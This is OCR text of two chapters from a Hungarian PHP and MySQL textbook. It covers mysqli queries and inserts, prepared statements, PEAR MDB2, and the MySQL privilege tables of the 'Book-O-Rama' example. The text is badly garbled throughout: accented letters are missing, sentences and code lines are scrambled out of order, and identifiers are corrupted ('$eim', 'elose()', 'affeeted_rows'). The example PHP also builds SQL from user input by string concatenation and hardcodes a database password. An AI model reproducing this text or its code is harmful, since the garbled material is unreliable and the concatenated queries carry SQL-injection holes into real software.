Erre internetrl val kapcsolds esetn is szksg van. A hasznlni kivnt adatbzist paramterknt hatrozhatjuk meg a mysqli konstruktor vagy a mysqli _connect () fggvny szmra. Ha meg akarjuk vltaztami az alaprtelmezett adat bzist, a mysql_ select_ db() fggvnnyel tehetjk meg. Ezt a fggvnyt az
$adatbazis->select_db(adatbazis neve)

illetve a
mysql_select_db(adatbazis_eroforras, adatbazis_neve)

formban rhetjk el. Itt lthatjuk a fggvnyek kztti klnbsget, amire korbban utaltunk: a procedurlis vltozat mysql_-lel kezddik, s
kri az adatbzis-erforrsra mutat paramtert.

Az adatbzis lekrdezse
Az adatbzis tnyleges lekrdezshez a mysqli_query() fggvnyt hasznlhatjuk. Ezt megelzen azonban rdemes ltre hozni a futtatni kivnt lekrdezst:
$lekerdezes
=

"SELECT

FROM konyvek WHERE ". $ keresesi_tipus." LIKE

'%". $ keresesi

kifejezes. "% 1 ";

Ebben az esetben a felhasznl ltal megadott rtkre ( $ keresesi _kifej ezes ) keresnk a felhasznl ltal meghatro zott mezben

( $keresesi_tipus). Figyeljk meg, hogy az EQUAL helyett a LIKE mveleri jelet hasznljuk az illesztshez:

adatbzisban keress esetn rdemes kicsit,.engedkenyebbnek" !nni.

186

ll. fejezet

Tipp: Ne feledjk, hogy- a MySQL monitorba begpelend lekrdezssei ellenttben -a MySQL-nek kldend lekrdezs
vgre nem kell pontosvessz!

Mosr mr lefuttathatjuk a lekrdezse:


$talalat
=

Ha a procedurlis felleret kvnjuk hasznlni, akkor a kvetkezket kell bernunk:


$lekerdezes);

$adatbazis->query($lekerdezes);

$talalat = mysqli query($adatbazis,

ll

ben is az $adatbazis) .

tadjuk a futcaeni kivfut lekrdezst s - a procedurlis fellet esetn - az adatbzisra mutat kapcsolatot (ami jelen eset Az objektumorientlt vltozat eredmnyobjektumot, a procedurlis pedig eredmny-erforrst ad vissza. (Hasonlan ah

troljuk el az eredmnye. Hiba esetn a fggvny false rtkkel tr vissza.

hoz, ahogy a kapcsoldsi fggvnyek mkdnek.) Ksbbi felhasznls cljbl mindkt esetben vltozban ( Stalalat)

A lekrdezs eredmnyeinek visszakeresse


a tnyleges eredmnyt. Az eredmnyobjektum vagy -azonost a lekrdezs ltal visszaadon sarok elrsnek a kulcsa. Pldnkban megszmoltuk a visszaadon sarok szmt, s a mysqli_fetch_assoc ( ) fggvnyt is hasznltuk. Sokfle fggvny ll rendelkezsnkre, hogy klnbz mdszerekkel kinyerjk az eredmnyobjektumbl vagy -azonostbl

szmt, s a kvetkezkppen rhetjk el ezt:

Az objektumorientlt megkzelts hasznlata esetn az eredmnyobjektum num_rows tagja trolja a visszaadott sarok

$talalatok_szama = $talalat->num_rows;

adott sarok szmt. t kell neki adni az eredmnyazonostt, pldul gy:


$talalatok_szama = mysqli_num_rows($talalat);

Procedurlis megkzelts alkalmazsakor a mysqli_num_ rows() fggvny adja meg szmunkra a lekrdezs ltal vissza

sal vgiglpkedhetnk raJtuk:


for ($i=O;

Azrt rdemes tudni ezt, mert ha tervezzk az eredmnyek feldolgozst vagy megjelentst, a sarok szma alapjn ciklus
$i <$talalatok_szama; $i++)

ll eredmnyek feldolgozsa

sorait s tmbknt adja vissza azokat, amely tmbben rninden kulcs egy oszlopnv, s rninden rtk az annak megfelel rtk:
$sor = $talalat->fetch_assoc();

meg. Ha a lekrdezs egyetlen sort sem ad vissza, akkor a ciklus nem fut le. A fggvny egyenknt veszi az eredmnyhalmaz

A ciklus minden ismtldsnek a $talalat->fetch_assoc () (vagy a mysqli_fetch_assoc ())fggvnyt hvjuk

Termszetesen in is hasznlhatjuk a procedurlis megkzeltst: Mivel adott a $sor tmb, minden egyes mezn vgigmehetnk, s megfelelkppen megjelenthetjk azokat, ahogy tesszk
";

$sor = mysqli fetch_assoc($talalat);

az albbi pldban is:

echo "<br />ISBN:

echo stripslashes($sor['isbn'));

mnyeket, pldul gy: vagy gy:

row () fggvnnyel pldul elnevezett kulcsokkal rendelkez tmb helyen szmokkal indexelt tmbben kapjuk vissza az ered $sor = $talalat->fetch row($talalat);

Szmtalan klnbz mdszer ltezik, hogy megkapjuk az eredmnyazonostbl az eredmnyeket. A mysqli_fetch_

Mint mr emltettk, a stripslashes ( ) fggvnyt azrt hvjuk meg. hogy megjelents eltt rendbe rakjuk az rtket.

$sor = mysqli fetch row($talalat);

a ktfle tmb brmelyikbe rakhatjuk a sorokat.)


$sor = $talalat->fetch object();

A tulajdonsgrtkek a $sor [O], $sor [l) stb. tmbrtkekbe kerlnek. (A mysqli_fetch_array () fggvnnyel A mysqli_fetch_object() fggvnnyel objektumba is tehetjk a sorokat:

illetve
$sor = mysqli fetch_object($talalat);

Ekkor a $sor->cim, $sor->szerz stb. mdon rhetjk el a tulajdonsgokat.

MySQL adatbzis elrse a webrl PHP-vel

187

Kapcsolat bontsa az adatbzissal


Az eredmnyhalmazt a
$talalat->free();

vagy a
mysqli_free_result($talalat);

meghvsval szabadthatjuk fel. Ezt kveten az


$adatbazis->close();

vagy a
mysqli_close($adatbazis);

meghvsval szakthatjuk meg a kapcsolatot az adatbzissal. Nem felttlen van szksg erre a parancsra, mivel a kapcsolat akkor is lezrdik, ha a kd befejezi a futst.

ll

j informci

felvitele az adatbzisba

j elemek adatbzisba trtn felvitele mdfelett hasonlt ahhoz a folyamathoz, amikor adatokat nyernk ki az adatbzisbL Ugyanazokat az alapvet lpseket kvetjk: kapcsolatot ltestnk, lekrdezst kldnk, s ellenrizzk az eredmnyeket. Ebben az esetben azonban az elkldend lekrdezs SELECT helyett INSERT. Br a folyamat hasonl, rdemes mgis egy pldn kereszrl megvizsglni. A 11.3 brn egyszer HTML rlapot lrunk, amivel knyveket lehet felvinni az adatbzisba. Az oldal HTML kdjt a 11.3 pldakd tartalmazza.

Book-0-Rama

""' [,;_:.:.:.:. ;_ _ ----;

- j knyv felvitele

:st-------

'-=--=--=--=--=-':::. ==-::. -::. ":L"'

11.3 bra: A Book-O-Rama alkalmazottai ilyenfelletet hasznlhatnak a knyvek adatbzisba val fel vitelre. 11.3 pldakd: uj_konyv.html-A knyvekfelvitelre szolgl oldal HTML kdja
<html> <head> <title>Book-0-Rama - j </head> <body> <hl>Book-0-Rama - j knyv felvitele</hl> <form action="konyv_beszurasa.php" method="post"> <table border="O"> <tr> <td>ISBN</td> <td><input type="text" name="isbn" maxlength="l3" size="l3"></td> </tr> <tr> <td>Szerz</td> <td> <input type="text" name="szerzo" maxlength="30" size="30"></td> </tr> <tr> <td>Cm</td> <td> <input type="text" name="cim" maxlength="60" size="30"></td> </tr> <tr> <td>r $</td> knyv felvitele</title>

188

ll. fejezet

<td><input type="text" name="ar" maxlength="7" size="7"></td> </tr> <tr> <td colspan="2"><input type="submit" value="Rgzits"></td> </tr> </table> </form> </body>

ll

</html>

Az rlap eredmnyeit a konyv _beszurasa. php adja tovbb, ez az a kd, amely fogja a rszleteket, elvgez nhny aprbb ellenrzst, majd megksrli berni az adatokat
az

adatbzisba. Ezt a kdot lthatjuk a 11.4 pldakdban.

11.4 pldakd: konyv_beszurasa.php-Ez


<html> <head> <title>Book-0-Rama </head> <body>

a kd rja be az j knyveket az adatbzisba

knyvfelviteli eredmnyek</title>

<hl>Book-0-Rama knyvfelviteli eredmnyek</hl> <?php

ll rvid vltoznevek ltrehozsa


$isbn=$ POST['isbn']; $szerzo=$_POST['szerzo']; $eim=$ POST['cim']; $ar=$_POST['ar']; if (!$isbn

l l

! $szerzo

l l

! $eim

l l

! $ar)

echo "Nem minden adatot adott meg.<br />" ."Krjk, exit; prblja meg jra'";

if (!get magic quotes gpc()) $isbn = addslashes($isbn); $szerzo = addslashes($szerzo); $eim = addslashes($cim); $ar = doubleval($ar);

@ $adatbazis = new mysqli( 'localhost',


if (mysqli connect_errno()) echo "Hiba: exit;

' boakorama',

'bookoramal 23',

'konyvek');

Nem sikerlt kapcsoldni az adatbzishoz.

Krjk,

prblkezzon

ksbb'";

$lekerdezes = "INSERT INTO konyvek VALUES ('".$isbn."'' '". $szerzo."'' '".$eim."', '".$ar."')";

$talalat = $adatbazis->query($lekerdezes);

if ($talalat) echo $adatbazis->affected_rows." db knyv hozz lett adva az adatbzishoz."; else echo "Hiba trtnt. A knyvet nem sikerlt hozzadni.";

MySQL adatbzis elrse a webrl PHP-vel

189

$adatbazis->elose(); ?> </body> </html>

A 11.4 brn egy sikeres adatfelvitel eredmnyt ltharjuk.

Book-O-Rama knyvfelviteli eredmnyek


, .. "'-"'._.................

ll
\

11.4 bra: A

kd sikeresen lefut, s kzli, hogy a knyvet hozzadta az adatbzishoz.


kdjt, ltharjuk, hogy nagyrszt hasonl ahhoz a kdhoz, amit azrt rrunk,

Ha megvizsgljuk a
az

k onyv_beszurasa.php

hogy adatot nyerjnk vissza az adatbzisbL Ellenrizzk, hogy az rlap minden mezje ki lett-e tltve, majd - ha szksges addslashes()

fggvnnyel formzzuk az adatokat, hogy megfelel formban kerljenek be az adatbzisba:


{

if (!get_magie_quotes_gpe()) $isbn = addslashes($isbn);

$szerzo = addslashes($szerzo); $eim = addslashes($eim); $ar = doubleval($ar);

Mivel az rat float tpus adatknt troljuk az adatbzisban, nem kivnunk perjeleket beletenni. E numerikus mez esetben a PHP gyorstalpal cm, legels fejezetbl megismert
doubleval

() fggvny meghvsval szrherjk ki a nem kivnt karak

tereket. A fggvny a felhasznl ltal az rlapba esetlegesen bevitt pnznemszimblumokra is figyel.


Irt is a mysqli pldnynak ltrehozsval, illetve az adatbzisnak kldend lekrdezs megalkotsval kapcsoldunk az

adatbzishoz. Jelen esetben a lekrdezs egy SQL INSERT:


$lekerdezes = "INSERT INTO k onyvek VALUES ('".$isbn."', '".$szerzo."', '".$eim."', '".$ar."')";

$talalat = $adatbazis->query($lekerdezes);

A lekrdezst az $adatbazis->query( ) (procedurlis megkzelts esetn a


az

mysqli_query

())meghvsa hajrja vgre

adatbzison. Az INSERT s a SELECT kztt jelents klnbsg van a


mysqli_ affeeted_ rows

() hasznlatban. Procedurlis

vltozatban ez egy fggvny, objektumorientlt vltozatban pedig az osztly egy tagvltozja:


echo $adatbazis->affeeted_rows." db knyv hozz lett adva az adatbzishoz.";

Az elz kdban a

mysqli _num_ rows

() segtsgvel llaptottuk meg, hogy hny sort adott vissza a SELECT lekrdezs. s UPDATE lekrdezseket runk, a mysqli_affeeted_rows ()-t

Amikor az adatbzist mdost, gy kell helyette hasznlni.

INSERT, DELETE

Ezzel ttekintettk a MySQL adatbzisok PHP-beli hasznlatnak alapjait.

Elfordtott utastsok hasznlata


A mysqli knyvtr tmogatja az elfordtott utastsok (prepared statement)hasznlatr. Ezek elnye, hogy felgyorstjk a fimatst, amikor klnbz adatokon sokszor hajtjuk vgre ugyanazt a lekrdezst. Emellett az SQL injection tpus tmadsok ellen is vdenek. Az elfordtott utastsok lnyege, hogy elszr elkldjk a MySQL-nek a vgrehajtani kvnt lekrdezs sablonjt, majd kln kldjk el az adatokat. Rengetegszer elkldhetnk ugyanolyan adatokat ugyanannak az elfordtott utastsnak; ez a le hetsg klnsen nagy mennyisg adat bevitelnl hasznos. A kvetkezkppen hasznlhatunk elfordtott utastsokat a
$lekerdezes = "INSERT INTO konyvek VALUES(?, $utasitas = $adatbazis->prepare($lekerdezes); $utasitas->bind_param(" sssd", $utasitas->exeeute(); echo $utasitas->affeeted_rows.' db knyv hozz $utasitas->elose(); lett adva az adatbzishoz. '; $isbn, $szerzo, $eim, $ar); ko nyv_besz u ras a.php ?, ?)";

kdban:

?,

190

ll. fejezet

Nzzk t a kdot sorrl sorra! Amikor ltrehozzuk a lekrdezst, a korbban alkalmazott vltoz-behelyettests helyett krdjeleket tesznk az egyes adatok helyre. Nem szabad sem idzjeleket, sem egyb hatrol karaktert raknunk a kr djelek kr. A msodik sor az $adatbazis->prepare() meghvsa; procedurlis vltozat esetn ez a mysqli _stmt_
prepare

() meghvsa lesz. Ez a sor hozza ltre az utastsobjektumot vagy erforrst, amit majd a tnyleges feldolgozs

vgrehajtshoz fogunk felhasznlni. Az utastsobjektum rendelkezik egy b ind_pa ram() nev metdussal. (Procedurlis vltozat esetn neve mysql i_
stmt_b ind_param

().) A metdus feladata kzlni a PHP-vel, mely vltozk kerlnek a krdjelek helyre. Az els para

mter egy formrum karakterlnc, hasonl ahhoz, amelyet a printf() fggvnyben hasznlunk. A pldban radott rtk

ll

(" sssd" ) azt jelenti, hogy a ngy paramter string. string. string. illetve double tpus. A formrum karakterlncban kt tovbbi karakter hasznlhat: i s b, amelyek az integer, illetve a blob tpusokat jellik. E paramter utn annyi vltozt kell felsorolni, ahny krdjel szerepel az utasts ban. A megadott sorrendben lesznek behelyerrestve. Az $utasi tas->execute() (procedurlis vltozat esetn a mysqli_stmt_execute ()) meghvsa futtatja le magt a lekrdezst. Ezt kveten frnk hozz az rintett sorokhoz, s zrjuk le az utastst. Mirt hasznos teht a fenti elfordtott utasts? Az benne a szp, hogy ha megvltoztatjuk a ngy kttt vltoz rtkr, anlkl futtathatjuk le jbl az utastst, hogy mg egyszer meg kellene rnunk. Igen praktikus tud lenni, arnikor ciklust hasz nlunk tmeges adatfelvitelnL Nem csak a paramtereket lehet"megktni'; hanem az eredmnyeket is. SELECT tpus lekrdezseknl az $utas itas
>bind_result

() (illetve a mysqli_stmt_bind_result() ) fggvnnyel adhatjuk meg azon vltozk listjt, amelyeket

szeremnk az eredmnyoszlopokba betltemi. Minden egyes alkalommal, amikor meghvjuk az $utas itas->fetch ()-t (illetve a mysqli_stmt_fetch ()-t), az eredmnyhalmaz kvetkez sorban lv oszloprtkek betltdnek ezekbe a kttt vltozkba. A korbban hasznlt, knyvkeres kdban pldul a kvetkezt hasznlhatnnk:
$utasitas->bind_result($isbn, $szerzo, $eim, $ar);

Ezzel a lekrdezs ltal majd visszaadand ngy oszlophoz kmnk ezt a ngy vltozt. Az
$utasitas->execute();

meghvsa utn a kvetkez fggvnyt hvnnk meg a ciklusban:


$utasitas->fetch();

Minden meghvsakor a kvetkez eredmnysort rakja be a ngy kttt vltozba. Ugyanebben a kdban termszetesen hasznlhatnnk amysqli stmt_bind_param() s a mysqli stmt_bind_result() fggvnyt is.

Egyb PHP adatbzisillesztsek hasznlata


A PHP klnbz adatbzisokhoz - kztk az Oracle-hoz, a Microsoft SQL Serverhez s a PosrgreSQL-hez - val csadako zsra alkalmas knyvtrakat tmogat. Az ezekhez az adatbzisokhoz val csatlakozsnak, illetve ezen adatbzisok lekrdezsnek az elvei ltalnossgban igen ha sonlk. Az egyes fggvnynevek ugyan elerk lehetnek, s az egyes adatbzisok funkciikban klnbzhetnek, de ha tudjuk, hogyan kapcsoldjunk MySQL-hez, akkor knnyedn alkalmazhatjuk tudsunkat ms adatbzisokra is. Amennyiben olyan adatbzissal kvnunk dolgozni, amelyiknek nem ltezik PHP-ben knyvtra, akkor az ltalnos ODBC fggvnyeket hasznlhatj uk. Az ODBC, amely az Open Database Connectivity (nylt adatbzis-sszekapcsolhatsg) rvid tse, az adatbzisokhoz kapcsolds szabvnya. Nyilvnval okokbl fggvnycsoportjai csak a legkorltozottabb funkcikra kpesek. Ha mindennel kompatibilisnek kell lennnk, akkor semminek nem tudjuk kihasznlni a klnleges funkciit. A PHP-ben elrhet knyvtrak mellett az olyan adatbzis-absztrakcis osztlyok, mint pldul az MDB2, lehetv teszik, hogy ugyanazokat a fggvnyneveket hasznljuk minden adatbzistpusnl.

ltalnos adatbzisilleszts hasznlata: PEAR MDB2


Nzznk egy rvid pldt a PEAR MDB2 absztrakcis rteg hasznlarvall Ez az sszes PEAR komponens kzl az egyik legszlesebb krben hasznlt. Az MDB2 absztrakcs rteg teleptsre A PHP s a MySQL teleptse cm Fggelk A Pear teleptse rszben tallunk informcit. Az sszehasonlts kedvrt nzzk meg. hogyan rnnk meg a keressi eredmnyek kdjt MDB2-vel! 11.5 pldakd: eredmenyek _altalanos. php-Eredmnyek visszakeresse a MyS adatbzisbl sJormzsuk a megjelentshez
<html> <head>

MySQL adatbzis elrse a webrl PHP-vel

191

<title>Book-0-Rama keressi eredmnyek<ltitle> <l head> <body> <hl>Book-0-Rama keressi eredmnyek<lhl> <?php ll rvid vltoznevek ltrehozsa $keresesi tipus=$ POST['kereses_tpus']; $keresesi_kifejezes=trim($_POST['keresesi_kifejezes']);

if (!$keresesi_tipus

l l

1$keresesi_kfeJezes) adja meg ezeket!';

ll

echo 'Nem adta meg a keressi feltteleket. Krjk, exit;

if (!get_magic_quotes_gpc())

$keresesi_tipus = addslashes($keresesi_tipus); $keresesi kifejezes


=

addslashes($keresesi kfejezes);

ll felkszls a PEAR MDB2 hasznlatra require_once('MDB2.php'); $felhasznalo = 'bookorama'; $jelszo = 'bookoramal23'; $host = 'localhost'; $adatbazis_neve = 'konyvek';

ll univerzlis kapcsoldsi sztring vagy DSN belltsa $dsn = "mysqli:ll".$felhasznalo.":".$jelszo."@".$host."l".$adatbazis_neve;

ll kapcsolds az adatbzishoz $adatbazis = &MDB2::connect($dsn);

ll kapcsolds eredmnynek ellenrzse if (MDB2::isError($adatbazis))

echo $adatbazis->getMessage(); exit;

ll lekrdezs vgrehajtsa Slekerdezes = "SELECT * FROM konyvek WHERE ".$keresesi_tipus

." LIKE '%".$keresesi_kifejezes."%'"; $talalat = $adatbazis->query($lekerdezes);

ll az eredmny ellenrzse if (MDB2::isError($talalat)) echo $adatbazis->getMessage(); exit;

ll visszakapott sarok szmnak megllaptsa Stalalatok szama = $talalat->numRows();

ll visszakapott sarok megjelenitse for ($i=O; $i <$talalatok_szama; $i++)

192

ll. fejezet

$sor = $talalat->fetchRow(MDB2 FETCHMODE_ASSOC); echo "<p><strong>".($i+l).". Cm: "; echo htmlspecialchars(stripslashes($sor['cim'])); echo "</strong><br />Szerz6: "; echo stripslashes($sor['szerzo']); echo "<br />ISBN: "; echo stripslashes($sor['isbn']); echo "<br />Ar: ";

ll

echo stripslashes($sor['ar']); echo "</p>";

ll adatbzishoz kapcsolds megszntetse


$adatbazis->disconnect(); ?> </body> </html>

Vizsgljuk meg. miben klnbzik ez a kd korbbi vltozattl! Az adatbzishoz kapcsoldsra az albbi sort hasznljuk:
$adatbazis = MDB2::connect($dsn);

A fggvny egy univerzlis kapcsoldsi karakterlncot fogad el, amely az adatbzishoz kapcsoldshoz szksges minden paramcert tartalmaz. Eze akkor lchaguk, ha a kapcsoldsi karakterlnc formcumra nznk:
$dsn = "mysqli://".$felhasznalo.":".$jelszo."@".$host."/".$adatbazis_name;

Eze kveten az isError () mecdus segtsgvel ellenrizzk, sikerlc-e a kapcsolds, ha nem, a hibazenet kirsa utn a kd vgrehajtsa vget r:
if (MDB2::isError($adatbazis))

echo $adatbazis->getMessage(); exit;

Amennyiben minden jl alakul, ezt kveten ltrehozzuk s vgrehajljuk a lekrdezse:


$talalat = $adatbazis->query($lekerdezes);

Ellenrizzk a visszaadott sorok szmt:


$talalatok szama = $talalat->numRows();

A kvetkezkppen keressk vissza az egyes sorokat:


$sor = $talalat->fetchRow(DB FETCHMODE_ASSOC);

Az lcalnos fetchRow() mecdus szmralan formban kpes kezelni a sorokat; az MDB2_ FETCHMODE _ASSOC param terrel azt kzljk, hogy asszociatv tmbknt kivnjuk visszakapni a sort. A visszakapott sorok kimenere utn megszncegk a kapcsoldst:
$adatbazis->disconnect();

Lthatjuk, hogy az ltalnos plda igen hasonl az els kdhoz. Az MDB2 hasznlarnak egyik elnye, hogy elg csak az adacbzis-fggvnyek egyik kszlett megjegyezni, a msik pedig az, hogy csak kis mrtkben kell kdunkat mdostani, ha gy dntnk, hogy megvltozraguk az adarbzis szofcverc. Mivel ez a knyv a MySQL-rl szl, a nagyobb sebessg s rugalmassg rdekben a MySQL natv knyvtraival fogunk dol gozni. Sajt projekgeinkben hasznlhacjuk az MDB2 csomagot is, mert nha j szolglacot tehet absztrakcis rteg hasznlata.

Tovbbi olvasnival
A MySQL s a PHP sszekapcsolsrl a PHP s a MySQL kziknyvek megfelel rszeiben olvashacunk bvebben. Ha az ODBC-rl szeretnnk tovbbi informcit, ltogassunk el a http:/ /www.webopedia.com/TERM/0/0DBC.htm! oldalra!

Hogyan tovbb?
A kvetkez fejezetben rszleeesebben foglalkozunk a MySQL-adminisztrcival, s megvizsgljuk, hogyan optimalizljuk az adatbzisokat.

12
Halad

MySQL

...

adminisztrci

A most kvetkez fejezetben halad szint MySQL-tmakrkkel foglalkozunk, kztk a jogosultsgokkal, a biztonsggal s
az

optimalizlssal. A fejezetben rintert fbb terletek: A jogosultsgi rendszer alaposabb megismerse MySQL adatbzisunk biztonsgoss ttele Tovbbi informcik begyjtse az adatbzisokrl Gyorsabb mkds indexekkel Adatbzisunk optimalizlsa Biztonsgi ments s helyrellts Replikci megvalstsa

A jogosultsgi rendszer alaposabb megismerse


A Webes adatbzis ltrehozsa m 9. fejezet bemutatta a felhasznlk belltsnak s jogosultsgokkal val felruhzsnak folyamatt. Lttuk, mindezt hogyan tehetjk meg a GRANT paranccsal. Ha MySQL adatbzis adminisztrcijt kvnjuk ellt ni, fontos pontosan tisztban lennnk azzal, mit tesz, s hogyan mkdik a GRANT parancs. Amikor GRANT utastst adunk ki, a mysql nev specilis adatbzis tblit mdostjuk vele. Ezen adatbzis hat tblja jogosultsgi informcikat trol. ppen ezrt gyelnnk kell, amikor jogosultsgokat oszrunk ki az adatbzisokra, hogy kinek s mirt adunk hozzfrst a mysql adatbzishoz. A mysql adatbzis tartalmnak megtekintshez jelentkezznk be rendszergazdaknt, majd gpeljk be a
use mysql;

utastst! Miutn ezt megtertk, a szoksos mdon tekinthetjk meg az ebben az adatbzisban lv tblkat:
show tables;

Az eredmny az albbihoz hasonl kell, hogy legyen: +---------------------------+ 1 Tables_in_mysql


+---------------------------+

columns_priv db event fu ne general_log help_category help_keyword help_relation help_topic host ndb_binlog_index plugin proc procs_priv servers slow_log

194

12. fejezer

tables_priv time time time zone zone leap second zone name

time zone transition time user


+---------------------------+

zone transition_type

A fenri tblk mindegyike rendszerinformcikar trol. Kzlk hars procs


priv

user, host, db, tables_priv, columns_pri v

- trolja a jogosultsgi informcikat. (Angolul grant tblkknt is szoks hivatkozni rjuk.) Funkcijukban

ugyan eltrnek egymsrl, de ugyanazt az ltalnos feladarot ltjk el: meghatrozzk, hogy az egyes felhasznlk mit jogosul rak megrenni. Mindegyik kr mezrpust tartalmaz: harkrmezket, amelyek a felhasznlt, a kiszolglr s az adatbzis azon rszt hatrozzk meg, amelyikre a jogosultsg vonatkozik; s a jogosulrsgi mezker, amelyek azt szablyozzk, hogy az adott

12

hatkrben lv felhasznlk mely mvelereker hajthatjk vgre. A user s a host tblval hatrozharjuk meg, hogy az adott felhasznl kapcsoldhat-e egyltaln a MySQL kiszolg lhoz, illetve rendelkezik-e brmilyen adminiszrrrori jogosultsggal. A sokat rheti el a felhasznl. A
tables _priv db

s a host tbla hatrozza meg, mely adarbzi

tblbl az derl ki, hogy az adatbzison bell melyik tblkhoz fr hozz,

a columns_priv tbla pedig azt hatrozza meg, hogy a tblkon bell mely oszlopokat ri el. Aprocs_priv tblbl azt tudjuk meg, hogy milyen rutinokat futtathat a felhasznl.

A
A

user
use r

tbla

tbla a globlis felhasznli jogosultsgok rszleteit tartalmazza. Szablyozza, hogy az adott felhasznl jogosult-e

egyltaln a MySQL kiszolglhoz kapcsoldni, illetve rendelkezik-e brmilyen globlis szint- vagyis a rendszer sszes adat bzisra rvnyes -jogosultsggal. A tbla szerkezett a describe
12.1 tblzat: A mysql
user;

utasts segtsgvel ismerhetjk meg. A user tbla smja a 12.1 tblzatban lthat.

adatbzis

user

tbljnak smja
Tpusa
varchar(60) varchar(l6) varchar(41) enum('N', 'Y') enum('N', 'Y') enum('N','Y') enum('N', 'Y') enum( 'N','Y') enum('N','Y') e num('N', 'Y') e num('N','Y') enum( 'N', 'Y') enum('N','Y') enum('N','Y') enum('N','Y') enum('N','Y') enum('N', 'Y') enum( 'N','Y') enum( 'N', 'Y') e num('N', 'Y') enum('N','Y') enum('N','Y') e num ('N','Y')

Mez
Host User Password Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Reload_priv Shutdown priv Process_priv File priv Grant_priv References_priv Index_priv Alter_priv Show_db_priv Super_priv Create tmp_table_priv Lock_tables_priv Execute_priv Repl slave_priv

Halad MySQL-adminisztrci

195

Mez
Repl_client_priv Create_view_priv Show_view_priv Create_routine_priv Alter_routine_priv Create_user_priv Event_priv Trigger_priv ssl_type ssl_cipher x509 issuer x509 subject max_updates max connections max user connections

Tpusa
enum('N' , e num('N' , e num('N' , enurn(' N' , enum('N' , enum('N' , enum('N' ,

'Y') 'Y') 'Y') 'Y') 'Y') 'Y') 'Y')

enum( 'N' , 'Y ' ) enurn(' ' , 'ANY' , 'X509' , 'SPECIFIED' ) b lob blob blob rnax_questions int(ll) int(ll) int(ll) unsigned unsigned unsigned int(ll) unsigned

12

A tblzat egyes sorai a Host szmitgprl rkez, User nev, a P assword jelszval bejelentkez felhasznl jogosults gainak felelnek meg. Ezek a tblzat hatkrmezi (scope fi.eld), amelyek a tbbi, gynevezett jogosu/tsgi mez (privilege fi.eld) hatkrt rjk le. Az ebben a tblban felsorolt (s a tbbi tbla ltal kvetend) jogosultsgok a 9. fejezetben a GRANT utastssal kiosztott jogosultsgoknak felelnek meg. A Se l ect_pr iv pldul a SELECT parancs futtatsra val jogosultsg. Amennyiben a felhasznl rendelkezik adott jogosultsggal, az ahhoz tartoz oszlop rtkeY . Ha a felhasznl nem kapott meg valamely jogosultsgot, akkor az ahhoz tartoz rtk viszone N. A user tbla ltal felsorolt jogosultsgok mindegyike globlis; ez azt jelenti, hogy a rendszerben

lv minden adatbzisra

(gy a rnysql adatbzisra is) rvnyesek. Rendszergazdk esetben itt szmos jogosultsg esetnY rtker tallunk, de a fel hasznlk tbbsgnl N kell, hogy lljon. Az ltalnos felhasznlknak a megfelel adatbzisokra, nem pedig az sszes tblra rvnyes jogosultsgokkal kell rendelkeznik.

A db s a h os t tbla
Az tlagos felhasznlk jogosultsgainak jelents rszt a db s a host tbla trolja. A db tbla azt hatrozza meg. hogy mely felhasznlk melyik adatbzisokhoz s honnan (melyik hostokrl) frhetnek hoz z. Az ebben a tblban felsorolt jogosultsgok az adott sorban megnevezett adatbzisra irnyulnak. A host tbla kiegszti a user s a db tblt. Ha egy felhasznl tbb gprl csatlakozhat, a user s a db tbla nem fogja felsorolni ezeket a hostokat. A felhasznlnak ehelyett tbb bejegyzse lesz a host tblban, amelyek az egyes felhasznl-host kombincikhoz tartoz jogosultsgokat szablyozzk.

E kt tbla srnjt a 12.2, illerve a 12.3 tblzatban lthatjuk. 12.2 tblzat: A Mez
Host Db User Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Grant_priv References _priv Index_priv Alter_priv rnysql

adatbzis db tbljnak smja


Tpusa
char(60) char(64) char(16) enum('N' , enum('N' , enum('N' , enum('N' , e num('N' , enum('N' , enum('N' , enum('N' , enum('N' , e num('N' ,

'Y') 'Y')
'Y') 'Y') 'Y') 'Y') 'Y') 'Y') 'Y') 'Y')

196

12. fejezet

Mez
Create_tmp tables_priv Lock_tables_priv Create_view_priv Show_view_priv Create_routine_priv Alter_routine_priv Execute_priv Event_priv Trigger_priv

Tpusa
enum('N', 'Y') enum('N','Y') enum('N','Y') enum('N', 'Y') enum('N', 'Y') enum('N','Y') enum('N', 'Y') enum('N', 'Y') enum('N','Y')

12.3 tblzat: A mysql adatbzis host Mez

tbljnak smja
Tpusa
char(60) char(64) enum('N','Y') enum('N', 'Y') enum ('N','Y') enum('N', 'Y') e num('N','Y') enum('N','Y') enum('N','Y') enum('N', 'Y') enum('N', 'Y') enum ('N','Y') enum( 'N','Y') enum('N','Y') enum('N','Y') enum('N', 'Y') enum('N', 'Y') enum('N', 'Y') enum('N','Y') enum('N', 'Y')

12

Host Db Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Grant_priv References_priv Index_priv Alter_priv Create tmp_tables_priv Lock_tables_priv Create_view_priv Show_view_priv Create routine_priv Alter_routine_priv Execute_priv Trigger_priv

A tables_pr i v,

columns_pri v s a procs_pr i v tbla


az

A tables_pr iv, a columns_priv s a procs_priv tbla a tblaszint,

oszlopszint, illetve a trolt rutinokhoz

kapcsold jogosultsgokat tartalmazza. Ezek a tblk a user, db s host tbltl kiss eltr szerkezettel rendelkeznek. A tables_pri v, a columns_priv s a procs_priv tbla smjt a 12.4, a 12.5, illetve a 12.6, tblzatban lthatjuk.
12.4 tblzat: A mysql Mez
Host Db User Table name Grantor Timestarop Table_priv

adatbzis tables_priv tbljnak smja


Tpusa
char(60) char(64) char(16) char(60) char(77) timestarop(14) set('Select', 'Insert', 'Create View', 'Update', 'Delete', 'Trigger')) 'Create', 'Drop', 'Grant', 'Re ferences', 'Index', 'Al ter', 'Show view',

Column_priv

set ('Select', 'Insert', 'Update', 'References')

Halad MySQL-adminisztrci

197

12.5 tblzat: A mysql Mez


Host Db User Table name Column name Timestarop Column_priv

adatbzis columns_priv tbljnak smja


Tpusa
char(60) char(64) char(16) char(64) char(64) timestamp(14) set('Select', 'Insert', 'Update', 'Re ferences')

12.6 tblzat: A mysql Mez


Host Db User Routine name Routine_type Grantor Proc_priv Timestarop

adatbzis procs_priv tbljnak smja


Tpusa
char(60) char(64) char(16) char(64) enum('FUNCTION', char (77) set('Execute', 'Alter Routine', 'Grant') timestarop(14) pr i v 'PROCEDURE')

12

A tables_priv s procs nevt trolja. A tblk

tbla

Grantor

oszlopa a felhasznlnak az adott jogosultsgot kioszt felhasznl

Timestamp

oszlopai a jogosultsg kiosztsnak dtumt s idpontjt rgztik.

Hozzfrsszablyozs: Hogyan hasznlja a MySQL a jogosoltsgi tblkat


